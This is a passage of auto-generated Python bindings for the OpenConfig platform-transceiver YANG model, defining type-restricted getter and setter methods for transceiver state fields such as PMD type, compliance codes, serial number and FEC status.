'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="ethernet-pmd", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False)""", }) self.__ethernet_pmd = t if hasattr(self, '_set'): self._set() def _unset_ethernet_pmd(self): self.__ethernet_pmd = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="ethernet-pmd", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) def _get_sonet_sdh_compliance_code(self): """ Getter method for sonet_sdh_compliance_code, mapped from YANG variable /components/component/transceiver/state/sonet_sdh_compliance_code (identityref) YANG Description: SONET/SDH application code supported by the port """ return self.__sonet_sdh_compliance_code def _set_sonet_sdh_compliance_code(self, v, load=False): """ Setter method for sonet_sdh_compliance_code, mapped from YANG variable /components/component/transceiver/state/sonet_sdh_compliance_code (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_sonet_sdh_compliance_code is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_sonet_sdh_compliance_code() directly. YANG Description: SONET/SDH application code supported by the port """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'VSR2000_3R2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'VSR2000_3R3': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R3': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'VSR2000_3R5': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R5': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SONET_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SONET_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="sonet-sdh-compliance-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """sonet_sdh_compliance_code must be of a type compatible with identityref""", 'defined-type': "openconfig-platform-transceiver:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'VSR2000_3R2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'VSR2000_3R3': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R3': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'VSR2000_3R5': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R5': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SONET_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SONET_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="sonet-sdh-compliance-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False)""", }) self.__sonet_sdh_compliance_code = t if hasattr(self, '_set'): self._set() def _unset_sonet_sdh_compliance_code(self): self.__sonet_sdh_compliance_code = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'VSR2000_3R2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'VSR2000_3R3': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R3': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'VSR2000_3R5': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R5': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SONET_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SONET_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="sonet-sdh-compliance-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) def _get_otn_compliance_code(self): """ Getter method for otn_compliance_code, mapped from YANG variable /components/component/transceiver/state/otn_compliance_code (identityref) YANG Description: OTN application code supported by the port """ return self.__otn_compliance_code def _set_otn_compliance_code(self, v, load=False): """ Setter method for otn_compliance_code, mapped from YANG variable /components/component/transceiver/state/otn_compliance_code (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_otn_compliance_code is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_otn_compliance_code() directly. YANG Description: OTN application code supported by the port """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'P1L1_2D1': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1L1_2D1': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'P1S1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1S1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'P1L1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1L1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTN_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTN_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="otn-compliance-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """otn_compliance_code must be of a type compatible with identityref""", 'defined-type': "openconfig-platform-transceiver:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'P1L1_2D1': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1L1_2D1': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'P1S1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1S1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'P1L1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1L1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTN_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTN_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="otn-compliance-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False)""", }) self.__otn_compliance_code = t if hasattr(self, '_set'): self._set() def _unset_otn_compliance_code(self): self.__otn_compliance_code = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'P1L1_2D1': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1L1_2D1': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'P1S1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1S1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'P1L1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1L1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTN_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTN_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="otn-compliance-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) def _get_serial_no(self): """ Getter method for serial_no, mapped from YANG variable /components/component/transceiver/state/serial_no (string) YANG Description: Transceiver serial number. 16-octet field that contains ASCII characters, left-aligned and padded on the right with ASCII spaces (20h). If part serial number is undefined, all 16 octets = 0h """ return self.__serial_no def _set_serial_no(self, v, load=False): """ Setter method for serial_no, mapped from YANG variable /components/component/transceiver/state/serial_no (string) If this variable is read-only (config: false) in the source YANG file, then _set_serial_no is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_serial_no() directly. YANG Description: Transceiver serial number. 16-octet field that contains ASCII characters, left-aligned and padded on the right with ASCII spaces (20h). If part serial number is undefined, all 16 octets = 0h """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="serial-no", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """serial_no must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="serial-no", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False)""", }) self.__serial_no = t if hasattr(self, '_set'): self._set() def _unset_serial_no(self): self.__serial_no = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="serial-no", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) def _get_date_code(self): """ Getter method for date_code, mapped from YANG variable /components/component/transceiver/state/date_code (oc-yang:date-and-time) YANG Description: Representation of the transceiver date code, typically stored as YYMMDD. The time portion of the value is undefined and not intended to be read. """ return self.__date_code def _set_date_code(self, v, load=False): """ Setter method for date_code, mapped from YANG variable /components/component/transceiver/state/date_code (oc-yang:date-and-time) If this variable is read-only (config: false) in the source YANG file, then _set_date_code is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_date_code() directly. YANG Description: Representation of the transceiver date code, typically stored as YYMMDD. The time portion of the value is undefined and not intended to be read. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '^[0-9]{4}\\-[0-9]{2}\\-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}(\\.[0-9]+)?Z[+-][0-9]{2}:[0-9]{2}$'}), is_leaf=True, yang_name="date-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='oc-yang:date-and-time', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """date_code must be of a type compatible with oc-yang:date-and-time""", 'defined-type': "oc-yang:date-and-time", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '^[0-9]{4}\\-[0-9]{2}\\-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}(\\.[0-9]+)?Z[+-][0-9]{2}:[0-9]{2}$'}), is_leaf=True, yang_name="date-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='oc-yang:date-and-time', is_config=False)""", }) self.__date_code = t if hasattr(self, '_set'): self._set() def _unset_date_code(self): self.__date_code = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '^[0-9]{4}\\-[0-9]{2}\\-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}(\\.[0-9]+)?Z[+-][0-9]{2}:[0-9]{2}$'}), is_leaf=True, yang_name="date-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='oc-yang:date-and-time', is_config=False) def _get_fault_condition(self): """ Getter method for fault_condition, mapped from YANG variable /components/component/transceiver/state/fault_condition (boolean) YANG Description: Indicates if a fault condition exists in the transceiver """ return self.__fault_condition def _set_fault_condition(self, v, load=False): """ Setter method for fault_condition, mapped from YANG variable /components/component/transceiver/state/fault_condition (boolean) If this variable is read-only (config: false) in the source YANG file, then _set_fault_condition is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_fault_condition() directly. YANG Description: Indicates if a fault condition exists in the transceiver """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGBool, is_leaf=True, yang_name="fault-condition", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='boolean', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """fault_condition must be of a type compatible with boolean""", 'defined-type': "boolean", 'generated-type': """YANGDynClass(base=YANGBool, is_leaf=True, yang_name="fault-condition", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='boolean', is_config=False)""", }) self.__fault_condition = t if hasattr(self, '_set'): self._set() def _unset_fault_condition(self): self.__fault_condition = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="fault-condition", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='boolean', is_config=False) def _get_fec_status(self): """ Getter method for fec_status, mapped from YANG variable /components/component/transceiver/state/fec_status (identityref) YANG Description: Operational status of FEC """ return self.__fec_status def _set_fec_status(self, v, load=False): """ Setter method for fec_status, mapped from YANG variable /components/component/transceiver/state/fec_status (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_fec_status is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_fec_status() directly. YANG Description: Operational status of FEC """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'FEC_STATUS_LOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_STATUS_LOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_STATUS_UNLOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_STATUS_UNLOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}},), is_leaf=True, yang_name="fec-status", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """fec_status must be of a type compatible with identityref""", 'defined-type': "openconfig-platform-transceiver:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'FEC_STATUS_LOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_STATUS_LOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_STATUS_UNLOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_STATUS_UNLOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}},), is_leaf=True, yang_name="fec-status", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False)""", }) self.__fec_status = t if hasattr(self, '_set'): self._set() def _unset_fec_status(self): self.__fec_status = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'FEC_STATUS_LOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_STATUS_LOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_STATUS_UNLOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_STATUS_UNLOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}},), is_leaf=True, yang_name="fec-status", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) def _get_fec_uncorrectable_blocks(self): """ Getter method for fec_uncorrectable_blocks, mapped from YANG variable /components/component/transceiver/state/fec_uncorrectable_blocks (yang:counter64) YANG Description: The number of blocks that were uncorrectable by the FEC """ return self.__fec_uncorrectable_blocks def _set_fec_uncorrectable_blocks(self, v, load=False): """ Setter method for fec_uncorrectable_blocks, mapped from YANG variable /components/component/transceiver/state/fec_uncorrectable_blocks (yang:counter64) If this variable is read-only (config: false) in the source YANG file, then _set_fec_uncorrectable_blocks is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_fec_uncorrectable_blocks() directly. YANG Description: The number of blocks that were uncorrectable by the FEC """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-uncorrectable-blocks", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, 